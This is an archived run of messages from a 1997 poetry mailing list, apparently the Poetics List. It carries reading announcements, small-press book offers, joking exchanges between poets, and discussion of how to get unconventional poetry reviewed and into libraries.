JENNIFER MOXLEY

poetry reading on THURSDAY, Jan 30 at 5pm

****

ON FRIDAY, Jan 31 at 5pm

panel discussion: Brown speaking on "Ballad Notes"

Moxley speaking on "Poetic Labor"

****

ON SATURDAY, Feb 1, 2pm Bagels and Brunch with Brown and Moxley

---

Writers House
3805 Locust Walk, UPenn
Philadelphia, PA
215-573-WRIT

↑ Index

729. George Bowering
Re: oh, alright (clothing)
Wed 29 Jan 1997

Bromige never left any stone-washed jeans at my hovel up here; in fact the only pants I have ever seen Bromige wearing are those old floppy gabardines in some awful coffee-with 2-percent-milk color, the kind of trousers you remember seeing on your Uncle Vince on the front porch.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

730. Bil Brown
Re: Nuyoricans in Kentucky
Wed 29 Jan 1997

> *Nuyorican Poets Cafe Live! will be in Lexington at the University of Kentucky on Friday and Saturday, 31-Feb 1. Samantha Coerbell, Magie EStep, Bob Holman, Mike TYler.*

Um... great. I think. More to my great state-of-mind. Please.

Bil Brown

↑ Index

731. Bil Brown
Re: san diego readings
Wed 29 Jan 1997

> *For those in San Diego or in striking distance thereof, the forthcoming readings in the New Writing Series (UCSD) include:*
>
> *Thursday February 6 4:30: Anselm Hollo*

Jerry, say hello to Ansem for me...

Bil Brown

↑ Index

732. **nuyopoman**
Nuyoricans in Kentucky
Wed 29 Jan 1997

Nuyorican Poets Cafe Live! will be in Lexington at the University of Kentucky on Friday and Saturday, 31-Feb 1. Samantha Coerbell, Magie EStep, Bob Holman, Mike TYler.

↑ Index

733. **nuyopoman**
REVIEW OF _sOME oTHER kiND OF mISSION_
Wed 29 Jan 1997

Rod,

What a wonderful, blowsy, trippingly on the light review!

Will the Washington Post print "fuck"? They should print this!

↑ Index

734. **Douglas Barbour**
Re: Fred Wah's _Diamond Grill_
Wed 29 Jan 1997

Oops. When I told the list about Fred Wah's great new book from NeWest Press, his first full length prose work, the biotext _Diamond Grill_, I gave the wrong distributor for the US. It may well be found in certain selected bookstores, but otherwise you should try

General Distribution Services
85 Rock RiverDrive Unit 202
Buffalo NY 14207-2170
Tollfree voice: [redacted]
Fax: [redacted]

==========
========== Douglas Barbour
You must abandon poetry for you cannot Department of English
forget it

University of Alberta You must abandon poetry, it never existed Edmonton Alberta T6G 2E5 You must abandon poetry, it has always been
[redacted] FAX:[redacted] fatal H: [redacted]
Bill Manhire

↑ Index

735. **Jerry Rothenberg**
san diego readings
Wed 29 Jan 1997

For those in San Diego or in striking distance thereof, the forthcoming readings in the New Writing Series (UCSD) include:

Wednesday January 29 4:30: Ruth Forman

Thursday February 6 4:30: Anselm Hollo

Wednesday February 12 4:30: Steve McCaffery & Karen Mac Cormack

Wednesday February 19 4:30: Hank Lazer

Wednesday February 26 7:00: Steven Cope, Samantha Goldstein, William Martin, Danny Mydlack.

All readings at the Visual Arts Facility Performance Space.

[Also on March 8 -- Saturday -- at the Porter Randall Gallery: a special reading by Ed Sanders. Details to follow.]

↑ Index

736. **william marsh**
Re: triple crown of poetry
Wed 29 Jan 1997

Berkson went first,
>reading from _Lush Life_ and diving into a short autobiographical story
>about being a young autograph hound in New York in the 50's, waiting for
>ballplayers outside hotel lobbies.

the Billy Strayhorn biography? or any connection?

↑ Index

737. **Jordan Davis**
Re: triple crown of poetry
Wed 29 Jan 1997

That would be the title of Berkson's collection from Z Press. _Lush Life_ is pretty good. For 100% Berkson excitement go straight to _Saturday Night_, the collection published by Tibor de Nagy. The good parts of O'Hara with some Ashbery and Koch for the hell of it. J

↑ Index

738. **Mark Weiss**

Getting the word out

Wed 29 Jan 1997

I want to revisit the subject of my last and maybe start a thread by broadening the complaint (although veterans of the list may have been here before). As a neophyte publisher (5 books, but the pace is quickening) I have learned that if you want to get the work into the hands of more than just friends and family of press and poet you've got to get reviews. But all reviews are not created equal: the ones that count most are Publishers Weekly, Library Journal and Booklist (The Times would be nice, but who am I kidding?). They review a very small number of books. They have--all three of them--picked up two of mine. Guess what? the two that could be called conventional. That's part one. Second topic: when a book gets reviewed by someone you don't know. I've learned, the hard way, that a new book has to be accompanied by a toolkit and user's guide, no matter how limpid the verse. And that guide had better be written for readers with limited English. I hate doing this; I've always thought that a poem or book should speak for itself, although a recommendation is always nice. One of my poets, Mervyn Taylor, I snagged for the press after hearing him read. Stephen Vincent came to me when a friend handed me his manuscript. But here's what happens if the user's guide isn't ridiculously detailed. One reviewer of a book of mine noted that it consisted of two long poems and a serial poem (both the book jacket and the press release told him that) and then proceded to review the book as if each fragment of verse was independent of any overarching structure. Sort of missing the point. I think about this a lot as I wind down the design and typesetting phase of getting out Rochelle Owens' New and Selected. It's a big book, and a big investment for a small press, and it sure aint conventional. So I begin to gear up to write a press release that is also an independent piece of criticism on the subject of "why I like this book and think you should like it, too." Third topic: the natural audience. If there is a natural audience, one that doesn't need a hard sell, I should think it would be the mass of poets who want me to publish their work. I have a large pile of unreturned manuscripts (I know, I know, I'll get to them). Most are dreadful, one will get a kind note, all are inappropriate, and apparently so, for Junction Press. None of these folks have read, or even looked at, any of Junction's books, and none claim to have done so. This is true even for a couple of reasonably well-known folks who should know better. This rambles. I suppose my point is that I expect most books, poems, performances, concerts, to be somewhere on a continuum between hohum and embarassing. But I dive in for the occasional find that may change my life and my practice in ways that I couldn't anticipate and that I neither sought nor necessarily desired. A lot like writing. And this might be the nub. We live in a fearful and self-restricting culture, and we're trying to push the aleatory. What

will happen to the children if we teach them that there's a world beyond the prisons?

For the record, here's a list of Junction's five available publications. Toolkit and guide will be included, along with free samples, in my up-an-coming website.

Mervyn Taylor, _An Island of His Own_. $9.00. A very few copies left at this price.
Second printing will be higher.
Susie Mee, _The Undertaker's Daughter_. $9.00
Richard Elman, _Cathedral-Tree-Train_. $9.00
Stephen Vincent, _Walking_. $9.00
Mark Weiss, _Fieldnotes_. $11.00

Orders accompanied by check to: Junction Press, PO Box 40537, San Diego CA 92164. Add $1.50 postage and handling in US. Aliens--backchannel for terms.

↑ Index

739. **Mark Weiss**
Re: walkways
Wed 29 Jan 1997

Whoops! The following, Marjorie Perloff's note to BRITLIST and my reply, got backchannelled to her. I meant it for UB List.

>Date: Wed, 01 Jan 1997 04:06:43
>To: Marjorie Perloff <[redacted]>
>From: Mark Weiss <[redacted]>
>Subject: Re: walkways
>
>This is all true, but limited. Part of the audience for any dance event is the large number of young women who study dance, and a Merce Cunningham performance is a celebrity event. Allen Ginsberg can also fill a hall. There are lots of wonderful small dance companies slowly starving on grants and their members' day jobs. Audiences at their performances are usually tiny. The same for new music groups (and old--San Diego just lost its symphony orchestra).
>More to the point, both performances sited are far more passive experiences for the audience than listening to a meditative poem (See what the audience composition is at a performance of, say, the Bach Partitas, on the one hand, or an Elliot Carter piece, on the other). Attention to any live performance is a learned skill, but I suspect that the learning curve, certainly for non-poets, is steeper for most poetry readings, even well-staged ones.
>I love readings--I've run several series, I've broadcast them, and I'm not a bad reader, myself. But I think of them primarily as an aid to and

propaganda for the performance that takes place in a subsequent private reading. If the reader is to incorporate the poem into his/her own breathing it's likely to be in solitude book-in-hand.
>For children who don't learn this experience at home the schools are the only entrance. And they certainly foul up the works. It would help if teachers loved poetry, but they are victims of the same system, and their negative attitude is reinforced by the reactions of the kids to what passes for a poetry curriculum.
>So that's the place to start--jazz up the curriculum, make the teaching more verbal and performance-oriented, and send the kids home with poetry appropriate to their age and abilities.
>And somehow get money to make this happen.
>
>At 08:28 AM 1/29/97 -0800, you wrote:
>>On audiences, performance/ poetry etc.
>>
>>I think Chris Cheek is quite right that poets today need to find their
>>audiences elsewhere --not in the standard format little collections of
>>"verse." This last week I attended Merce Cunningham's most recent
>>performance in LA--or actually out in Glendale at something called the
>>ALEX Theatre. It was packed. The work was the 90-minute "The
>>Event"--brilliant and beautiful but not easy. A few evenings later saw
>>local group Blue Fish, Red Fish from UCSD perform a Percussion Evening
for
>>the Green Umbrella series--Cage, Varese, Steve Reich, Xynaxis
>>very young audience, very big crowd. Enormous enthusiasm. The question
>>then is: why do dance and music events of this nature get so much better
>>an audience than anything involving the written word? And I think the
>>answer is that schools have so destroyed the possible interest in poetry
>>kids naturally have by making poetry a vehicle for some sort of Great Idea
>>rather than a Sounding, that we have to start from scratch and make the
>>reading itself an art. And here poets are often guilty--I have a real
>>phobia of the reading where the diffident poet walks in, black notebook in
>>hand, and acts as if he/she hasn't yet decided which poem to read, starts
>>leafing through the pages, changes his/her mind, reads something else,
>>hesitates, etc. By this time everyone out there is falling asleep. Also:
>>the anecdotes should be omitted, as in, "Now last year my wife and I found
>>a cockroach in the refrigerator and I thought....." I swear I heard a
>>well-known poet introduce a new poem that way.
>>
>>So performance may mean no more that making the actual reading an
EVENT,

>>not a secondary vehicle.
>>
>>Keith--I don't know anything about the Culler conference but suspect it
>>means "performativity" in an entirely different sense and that the lyric
>>in question will be Renaissance or Romantic.
>>
>>xxxx
>>Marjorie perloff
>>
>>
>>
>

↑ Index

740. **David Dowker**
alterran relocation
Wed 29 Jan 1997

---

re-ANNOUNCING (with new address):

(((((((((THE ALTERRAN POETRY ASSEMBLAGE)))))))))

1.0

Adeena Karasick, Andrew Joron, Lisa Samuels, Robert Mittenthal, Sheila Murphy, John Noto, Hank Lazer, Charles Alexander, William Fuller, Laura Moriarty, David Dowker, Christine Stewart, Caroline Bergvall.

Editor: David Dowker

[redacted]
http://home.ican.net/~alterra/

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741. **cris cheek**
sonic writing
Wed 29 Jan 1997

Monday 3 February 1997 at 7.30pm
Drama Studio - University of East Anglia
Norwich, UK

sonic arts 3: the sonic voice

electroacoustic writing for sound, text and voice
featuring newly commissioned work
siting computer voices by cris cheek

'a partial site'

+ a birthday tribute for Jackson Maclow on his 75th

+ news sections from 'the canning town chronicle . . .'

+ cris cheek / Sianed Jones (live)

+ work by Monty Atkins

5 pounds (concs 4 pounds, students 3 pounds)

(apologies for cross-posting)

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742. David Bromige
oh, alright (clothing)
Thu 30 Jan 1997

---

those are the pants i wear when i'm around george to make him feel less out of his depth and more like he's visiting his Uncle vince!

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743. Daniel Bouchard/College/hmco
a Boston pub
Thu 30 Jan 1997

I'm pleased to announce the availability of the second issue of MASS AVE. The featured poets are:

Valerie Hanson
Douglas Rothschild
Lisa Jarnot
Mary Burger
Marcella Durand
Drew Gardner
Eileen Corder
Dave Baptiste Chirot
Anselm Berrigan
Daniel Bouchard
Nava Fader
Kevin Varrone
Larry Price
WB Keckler
Dan Luft
Kim Lyons

Six dollars, includes mailing.
Make checks out to Daniel Bouchard.

Send to PO Box 230, Boston, MA 02117.

[redacted]@smtp

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744. Sylvester Pollet
hart crane & charlie mingus
Thu 30 Jan 1997

Three poets read with a jazz group Jan. 29, Bangor, Maine, Borders. Terry Hunter, Kathleen (Lignell) Ellis, and I. They read Corso, Kerouac, langston Hughes, Gwendolyn Brooks, etc. as well as their own stuff. I read mine plus some haiku from Lane Dunlop, two poems of Paul Blackburn, and Hart Crane's "To Brooklyn Bridge" with the group playing Charlie Mingus's "Nostalgia on Times Square" behind it. That might be a first for this planet. Maybe even a last, though it actually sounded pretty good. Good crowd, 30-40 people, including a bunch of young kids, down to maybe 4 years old. The beat goes on. One degree (F.) when I left, and six below this morning.

Sylvester Pollet

Backwoods Broadsides
RR 5 Box 3630
Ellsworth ME
04605-9529

National Poetry Foundation
Room 302
5752 Neville Hall
University of Maine
Orono ME 04469-5752

http://www.ume.maine.edu/~npf/

↑ Index

745. Aldon L. Nielsen
Re: hart crane & charlie mingus & sonny rollins
Thu 30 Jan 1997

---

along these lines -- remember Sonny Rollins playing on "The Bridge" (not to be confused with our memories of the reenactment in later decades for SONY) -- then read Baraka's "The Bridge" -- while you're enjoying that, take a peek at Baraka's "Way Out West" (another Rollins ref.) which just precedes "The Bridge" in the recent selected --

On the drive West from Denver, I heard on radio the latest CD of the Mingus Big Band -- pretty impressive renditions --

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746. Mark Prejsnar
Re: Getting the word out
Thu 30 Jan 1997

Mark--- I take it that you are trying hard to get Junction Books into libraries, as you mention Pub. Weekly, Library Journal & Booklist. These impact on book retailers, I know, but not LJ so much...(or so I assume: I've been a library professional for 20 years, but have only worked in the retail book trade briefly, and not by choice). Of course, if I were publishing an interesting & impressive list like yours looks to be, I'd try hard to contact the kind of folks that are on this listserv, that read the non-mainstream poetry journals (so many new ones seem to be mushrooming recently--my budget keeps me from seeing half of them!) But I assume you've thought of that; and certainly the interesting poetry journals have little space for reviews so you haven't that good a shot with them, and promotional mailings via snail are probably far too costly for you, considering the relatively small number of orders from individuals you'd get in return.

So for marketing to individuals, or to try to get into a wider range of bookstores, I can see that it's hard.

However, as a library professional, I feel that publishers like yourself need to get into libraries across the country more; this is tougher than ever, as we in the library world are among the first of all institutions to get slashed by the budget cleaver, in times of extreme capitalist recession/ depression. But it is still possible to do something. This is a position I've advocated in our poetry publication here in Atlanta, Misc. Proj., which I edit. I'm repeating it here more as a general polemic to the list as a whole than in response to your posting, because it's something that has to be done not by the publisher but by concerned readers & writers around the country. This is to inundate our local libraries with purchase requests for material like this. Public libraries are among the most heavily hit by budget cuts and also do not always want to order from small publishers (sometimes profoundly stupid laws prevent them from using all but a few mainstream book jobbers selected thru competitive bidding, & in this way dissident material is entierly ruled out). Academic libraries are better, & since a fair number of people on the list have some academic affiliation, I'd strongly plead that they submit written requests to their institutions' humanities libraries, asking that they purchase Junction & other nonmainstream publishers...However, your local public library is very worth trying! Not all are unable/unwilling to respond to these requests. The idea is not to ask that they pursue a particular publisher, but to request individual titles that you would like to check out & use yourself once they are cataloged...many libraries (most, I think) really want their users to give them requests like this.

Altho' I'm not faculty at Emory University (nor a librarian: I have only a BA degree) I've been accepted by our main library here as something of an honorary poetry bibliographer; that is, they generally order what I request from publishers like Potes & Poets, Sun & Moon, Roof, The Figures, Talisman House, Zoland etc. This is a somewhat special institution (often called Coca-Cola University) because of the huge endowment from Coke's main owning families, which has allowed an unusually healthy library acquisitions budget, for this point in the economic crisis. Still, we could all do alot along these lines, and help to support non-mainstream poetry in a way that goes beyond our limited personal budgets. (And mine is very limited, believe me!)

Mark Prejsnar
Atlanta

↑ Index

747. Thomas Bell
integration as hegemony?
Thu 30 Jan 1997

The latest New Yorker has a story on August Wilson's June speech where he "declared [American theatre is] an intrument of white cultural hegemony, and the recent campaign to integrate and diversify it only makes things worse....they needed integration the way they needed acid rain." tom bell

very interesting story, but I think it will take me some time to figure out how I feel about it.

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748. Charles Alexander
Re: Getting the word out
Thu 30 Jan 1997

Thank you, Mark Prejsnar, for your important message about getting books from non-mainstream presses into academic libraries. I certainly hope people follow up on your suggestions.

Charles Alexander
Chax Press
Tucson

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749. Miekal And
sounding alan
Thu 30 Jan 1997

Alan how can you doubt we would find your work of infinite interest.

Oops, maybe I shld speak for myself.

Miekal

there in front of the computer, day after day

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750. Charles Alexander
masque of rhyme
Thu 30 Jan 1997

I announced this rather casually in an earlier message, but will do so again now, more officially:

THE MASQUE OF RHYME
A new chapbook by BOB PERELMAN
laser-print pages sewn into Chiri oriental paper wrappers
Hand titling on each copy by visual artist Cynthia Miller
Limited edition of 150 copies
Each copy signed by the author

Respondents on this list only who want this book, please send $4.00 plus two stamps for mailing, or $4.64 with no stamps.

All others not on Poetics List: $5.00

For this small chapbook we will accept unpaid orders, to invoice later, only from libraries and bookstores. All others please send cash or check made out to Chax Press.

Send to:

Chax Press
101 W. Sixth St., no. 6
Tucson, AZ 85701-1000

If you have any questions please call [redacted]
or email to [redacted]

thank you,

charles alexander

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751. **Alan Jen Sondheim**
Book announcement
Thu 30 Jan 1997

Being On Line, Net Subjectivity

This book is available from the distributors, and is published by Lusit- ania. I've been working on it for the past two years or so. It might be of interest to you; the texts and artworks are fairly wide-ranging.

The post below includes the initial press release; I won't send out a fuller description here.

Hope you find it of interest,

Alan

The book Being On Line, Net Subjectivity, is just about here, and can be ordered through the distributors. I'll send out a fuller description in a week, but you can order now.

Much of the contents is from Cybermind and Fop-l participants and con- tacts. The work was initially gathered about two years ago, with additions and modifications until early summer. I wanted to include texts that would not become dated, would comment astutely on "being on line," and would be of literary interest as well.

The description below is a press release only. The full list of authors: Honoria, Peter Krapp, Steven Meinking, Brian Carr, Ellen Zweig, Alan Sondheim, Karen Wohlblatt, Fridrich Kittler, Andy Hawks, Rose Mulvale, Doctress Neutopia, Douglass Carmichael, Mark Poster, Caitlin Martin, Tara Calishain, Laurie Cubbison, Elizabeth Fischer, Roger Bartra, Martin Lang- field, Angela Hunter, Andrew Libby, Jane Hudson, Nesta Stubbs, Charles Stivale, Alexander Chislenko, Paula Davidson, Gregory Ulmer, Bernadette Garner, Martin Avillez, Stephen Perrella, Regina Frank, Michael Current, Daria Penta, Chris Keep, Deb Martison, Stephan Bugaj, Robert Kezelis, Slavoj Zizek, and Virtual Martina.

If you want to order, please send to D.A.P. below; you can also call them at the 1-800 number.

Please, also, pass this on to any interested parties.

Thanks, Alan

January 1997

FOR IMMEDIATE RELEASE

CONTACTS:
CAROLE ASHLEY
MARTIM AVILLEZ

BEING ON LINE, NET SUBJECTIVITY

. . . I existed on continuous rewrite. I lived naked on the net.
From ³lol,² a post by Alan Sondheim

Lusitania Press is pleased to announce the publication of Being on Line, Net Subjectivity. This anthology addresses the exciting new consciousness of the Internet, where identity is negotiated and love is the pleasure of the text. The contents range from sexually intense analyses of on-line writing to the ³netwar² of the Zapatistas.

Edited by Alan Sondheim, Being on Line, Net Subjectivity is conceived as an exploration of the theory and practice of virtual identity as well as its effects. Unlike many recent books on the Internet, Being on Line focuses both on the promises of the technology and the actual content being developed by users of this form of exchange.

Intermixed with the esoteric (³Monogamousbody²) and the absurd (³Are you a Cyborg?²), are topics ranging from subjectivity and community to the uncanny and netsex, presented in both theory and practice. Among the thirty two authors are Angela Hunter, Ellen Zweig, and Nesta Stubbs; net feminist Doctress Neutopia; anthropologist Roger Bartra; and theorists Friedrich Kittler, Slavoj Zizek, Mark Poster and Gregory Ulmer. Being on Line is richly illustrated by artists whose works are related to virtual worlds. Four color sections present performance, graphics and sculpture by Regina Frank, Peter Halley, Mike Metz, and Alice Aycock. Being on Line includes Lusitania signature ³editorial² in comic strip format.

Being on Line, Net Subjectivity is 208 pages, with 16 pages of color and 192 illustrated pages in black and white. In English and Korean.

Being on Line, Net Subjectivity
ISBN 1-882791-04-5
Paperback 7x91/2 in., 208 pages, 16 color, Price $15.00 U.S.

Also available in English/Korean is _Sites and Stations: Provisional Utopias_ an anthology of articles and projects concerned with the relationship between Architecture, Utopia and the contemporary city. ISBN 1-882791-03-7 Paperback 7x91/2255 pages 34 color Price $15.00 U.S.

Books published by Lusitania Press can be ordered from D.A.P/ Distributed Art Publishers, 155 Sixth Avenue, 2nd Floor, New York, N.Y. 10013-1507 or call toll-free 1-800-338-BOOK

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752. **Gabrielle Welford**

Anthology of 19th-c American women poets "WMST-L DIGEST2" (fwd)

Thu 30 Jan 1997

... an anthology of 19th-century American
women poets. Production was delayed and there was some
confusion about who was publishing the US edition - _Books
in Print_ listed it as coming out from the wrong press!
But it is now out. The title is _She Wields a Pen: American
Women Poets of the 19th Century_ and the US press (hardback
and paperback) is the University of Iowa Press.

I would be glad to hear privately from any who have
questions about the anthology.

Janet Gray
[redacted]

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753. **Mark Weiss**

Getting the word out

Thu 30 Jan 1997

Let me underline Mark Prejsnar's suggestion, as following through on it is vital to the survival of the culture of poetry.

I can solicit libraries all I want (and I do a lot), but finally it's the customers' demands that move poetry books from the bottom to the top of the librarians' wish-lists.

Too many good presses die, not for the lack of dedication on the part of their publishers, but because of poor receipts and despair over getting the books into the hands of potential readers.

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754. George Bowering
Re: urban poetry - Kansas
Thu 30 Jan 1997

> *Dodge City would have been a metropolis in Euorpe, if it coulda been.*

How come you USAmericans name your cities after automobiles?

Dodge City
Lincoln,
Fargo
Pontiac
Malibu Classic

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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755. Steven W. Marks
Re: Getting the word out
Thu 30 Jan 1997

Mark W--- First, I want to say that Mark P gives some good advice. You might also want to contact CLMP and get their monograph on marketing your books to libraries and to teachers as texts to be taught in their classes.

Second, I'm a reviewer (like many on this list, I'm sure) -- mostly non-mainstream fiction/nonfiction and poetry titles. Reviews are important in PW, LJ, etc, but so are reviews in smaller magazines even when they come after pub dates. I'm certain you know that your backlist is what will allow you to continue publishing.

As for the toolkit/user's guide, I try not to read them until I have read the book. But then I will also read other books by the author or articles about him or her before I begin writing my review. You have to tread carefully here in my opinion. Some reviewers will be annoyed and even angered by suggestions about how to read the book. On the other hand, I don't mind reading press releases which give me some idea and sample of the writing. For that matter, this often makes the decision about whether I review an unknown book.

Needless to say, many reviewers have agendas. I know for myself that I am as interested in getting published by a good magazine as the author was to get published by a good publisher. I will also use a book or books to advance an idea or introduce new poets or forms to mainstream publications. This is where reviews overlap with essays and journalism. I suppose what I'm saying is what you already know -- a review is subject to a great number of variables. However, it's not all that bad. At one magazine I review for, I'm given a choice amoung books my editor knows that I will "understand." Of course, this doesn't mean that I will automatically deem the work successful, but it does mean that I won't be scared off or befuddled by the unconventional.

Best of luck. I'd like to know when your website is up.

Steven Marks

Samples of reviews, criticism and poetry at

http://members.aol.com/swmarks/welcome.html

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756. George Bowering

Re: oh, alright (clothing)

Thu 30 Jan 1997

> *those are the pants i wear when i'm around george to make him feel less out of his depth and more like he's visiting his Uncle vince!*

That's not exactly true. Every time Bromige is around me he starts taking his pants off! My wife tells me to be patient. She says she understands these things. Says she used to work in London, Ontario.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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757. **George Bowering**
Re: hart crane & charlie mingus
Thu 30 Jan 1997

> *I read mine plus*
> *some haiku from Lane Dunlop, two poems of Paul Blackburn, and Hart Crane's "To Brooklyn Bridge" with the group playing Charlie Mingus's "Nostalgia on Times Square" behind it.*

That's funny. I was teaching that "Proem" yesterday. Didnt have any music back, though.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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758. **George Bowering**
Re: hart crane & charlie mingus & sonny rollins
Thu 30 Jan 1997

> *along these lines -- remember Sonny Rollins playing on "The Bridge"*

The way I remember it from the time, he was playing UNDER the bridge. Maybe he was doing both, or maybe in the re-enactment, the producers thought on the bridge wd be more dramatic.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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759. David Bromige
oh, alright (clothing & timing)
Thu 30 Jan 1997

every evening at Bowering Manor the Master of the House, the port having gone around the requisite number of times, insists on the guests removing their nether garments! (those from the Down Under Suite are always the first to accomplish this task.) Reluctantly, I comply, out of politesse, not lickerishness. On the most recent occasion, sad to say, the Master proved unable to complete what he had begun--his feet becoming entangled in his pantlegs (it's probably thanks to them being pegged, a style popular in Oliver, B.C.in the 50s), after a while he simply gave up and remained at table with his pants around his ankles while the rest of us swam in the East Pool and had all kinds of fun. I suppose this thread concerns memory. Like Keith Waldrop and myself, when he eats a madeleine, george thinks of Proust; but unlike Keith, we think of Alfred Proust,a Kitsilano pharmacist whose 'madeleines' were so popular when those who are now in their sixties were in their forties, with the faculty of memory about to sustain heavy damage. For myself, I always remember George fondly.

btw, george, i notice that yr postings, each done around 6 pm today, were not delivered to my sketchy sunshine town until 10:15 pm. Is this some kinda censorship--are you being kept off the net until the kiddies are in bed?

London, Ontario? Tell us, Old Chep, what the Forest City has to do with the compulsive debagging of oneself? Dragland, Davey and Dewdney always keep zipped up, don't they?

george, have you announced yet on this list that we have a jointly written roman a clef we'd like to see published?

are we writing another? d

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760. KYLE CONNER/LRC-CAHS
Re: jazz & amiri
Fri 31 Jan 1997

Try listening to any cracking jazz and then read ANY Amiri-it's all cracking. Better yet, see the man read LIVE. He's a firecracker! I saw him read two years ago at Border's in center city Philly. He was reading from his then new selected on Marsilio Press, which contains his Y's/Why's/Wise series. Each poem is dedicated to a jazz player, and Amiri elucidated this vocally by prefacing each poem with a frenetical scatting out of a phrase from said musician's music. It was incredible! The guy was bouncing off the walls, putting as much energy into his sound quote as into his actual reading of his poems. It gives

confirming perspective to Amiri's work, knowing that he has always thought in a sound way-this is obvious in the way his words crash and take the unexpected right turn-"BangClash!" And he has also written extensively on the history of jazz and black music. It also helps elucidate the music he quoted: Coltrane, Miles, etc. In their more frenetic soloing, I get a sense of struggling with expression in all those licks and turns (Coltrane's sheets of sound) as if "If I can't get it THIS way, then how 'bout THIS way, or THIS...", and all that mad finger articulation and extension. The music becomes very physical, almost solid, as if a physical manipulation of some dark mass of undifferentiated meaning that is slashed at again and again by the musicians. And it seems Amiri works at this too, using sometimes hairpin juxtaposition of words, sometimes fusing words to make new ones, scoring the poetry on the page, always creating an expression that is sharp, pointed, and violently rhythmic. His readings of his poems really brought this to the foreground. -Kyle Conner

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761. KYLE CONNER/LRC-CAHS

Re: integration as hegemony?

Fri 31 Jan 1997

Thomas Bell writes: "The latest New Yorker has a story on August Wilson's June speech where he "declared [American theatre is] an intrument of white cultural hegemony, and the recent campaign to integrate and diversify it only makes things worse....they needed integration the way they needed acid rain." tom bell

very interesting story, but I think it will take me some time to figure out how I feel about it."

Wilson's stance is that the more the black theatre, or any minority art form or cause, is subsidized and supported by the white cultural authority, the more it is diluted and divested of its initial energy and focus in being a seperate entity that does NOT share the goals and ideologies of the ruling cultural authority. This dilution can be measured largely in funding dollars and audience numbers. One of Wilson's examples of white cultural hegemony (in NY) was a larger non-minority theatre bringing in black actors to do more black shows, because it has been discovered by these producers that black theatre sells to white audiences, while getting funding for it. Meanwhile, the smaller black theatres are watching as their already small funding and audiences are leached by these larger, more powerful theatres. The delicacy of Wilson's stance in creating an all-black theatre in America, a theatre by, for, and about blacks, is revealed when he is critiqued for having his work produced by large non-black theatres, such as Yale Rep and on Broadway, and when he receives numerous awards from the so-called white cultural hegemony. One could say he speaks

from a singular and privileged position. The second half of the article is also interesting, and gets rather randy with the stories of the so-called "Chitlin" theatre circuit, which, as Gates posits, could be, albeit unexpectedly, the all-black theatre for which Wilson asks. -Kyle Conner

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762. Miekal And
cold to warm
Fri 31 Jan 1997

Charles Alexander & other arizona homebodies

Me & the fambly are gonna be in Phoenix area March 3-12 scouting out a possible southern base for Dreamtime 60 miles north of the city. I know this is quite a late time to try to set something up, but we could be in the area with our books to set up & do readings (Zon can sometimes even be coaxed to do his monster language!) & text/performance. & if there is access to a macintosh projector I can bring a harddrive & present some of my computer poetry & other hypermedia projects.

Got any ideas, contact or leads?

Miekal, Lyx & Liaizon

--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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763. Miekal And
Re: oh, alright (clothing)
Fri 31 Jan 1997

George Bowering wrote:
>
> >those are the pants i wear when i'm around george to make him feel less out
> >of his depth and more like he's visiting his Uncle vince!
>
> That's not exactly true. Every time Bromige is around me he starts taking
> his pants off! My wife tells me to be patient. She says she understands
> these things. Says she used to work in London, Ontario.

does that make mr bromige one of those beat poets, he wonders to himself--

m i e k a l

with his pants on, ripped at the knees, boots off

↑ Index

764. **robert drake**
Re: Getting the word out
Fri 31 Jan 1997

Steven Marks writ---

> *Needless to say, many reviewers have agendas. I know for myself that I am as interested in getting published by a good magazine as the author was to get published by a good publisher. I will also use a book or books to advance an idea or introduce new poets or forms to mainstream publications. This is where reviews overlap with essays and journalism. I suppose what I'm saying is what you already know -- a review is subject to a great number of variables. However, it's not all that bad. At one magazine I review for, I'm given a choice amoung books my editor knows that I will "understand." Of course, this doesn't mean that I will automatically deem the work successful, but it does mean that I won't be scared off or befuddled by the unconventional.*

i fr one would *hope* that any reviewer wd have agendas; only complaint is when those agendas are not clear (& ideally, articulated)...

but i'm not clear frm the above paragraph if yr equating "good magazine" w/ "mainstream publication"... there are plenty of good magazines running reviews and substantial critical work--Witz, Poetry Project Newsletter, Poetic Briefs, Mondo Hunkamooga, Chain, Texture, Compound Eye, Factsheet Five, Dusty Dog Reviews, Small Press Review, my own TapRoot Reviews... none of 'em "mainstream", & praps lacking th academic credability of PW LJ NYTBR et al; but if getting books into hands that'll read 'em is th objective i'd suggest that the more narrowly targeted smallpress reviews will be more effective than the prestige jrnls. because no matter how lauditory th review, the majority ov the bookbuying public will still "be scared off or befuddled by the unconventional." if, on th other hand, the idea is to sell books, make sure the product is conventional--mickeyD is succesful (economically, not gastronomically) because the consumer knows that s/he will get exactly th same thing everytime...

asever
luigi

↑ Index

765. **Douglas Barbour**
Re: pastoral perhaps?
Fri 31 Jan 1997

You may all be intrigued to hear that CBC, the national broadcaster here, on its flagship national news this morning, ran a story on THE biggest cowboy poetry gsthering of all, in Elko, Navada. Partly because a number of Canadian singers & 'poets' are performing there. And we heard some examples: humorous rhyming couplets, representing, in a lighthearted manner, the 'real life' of cowboy experience, running from an angry bear, or working a horse, or whatever. There are a couple of things going on here: this stuff is awfully popular (is it alsop 'populist'?); the kind of people who do this & who attend these gatherings, think this is what poetry is, & that when it can 'make sense,' 'tell a real story,' & so on, it is 'real' in a way that all that hi-falutin stuff doesnt. There's also a nostalgia at work, I think, which means it re-presents a version of what Robert Kroetsch called 'a dream of origins', but does so without any kind of interrogative vision of social, cultural, ideologies in action. Is this where 'pastoral' has gone?

========== Douglas Barbour
You must abandon poetry for you cannot Department of English
forget it

University of Alberta You must abandon poetry, it never existed Edmonton Alberta T6G 2E5 You must abandon poetry, it has always been
[redacted] FAX:[redacted] fatal H: [redacted]
Bill Manhire

↑ Index

766. **Aldon L. Nielsen**
Re: jazz & amiri
Fri 31 Jan 1997

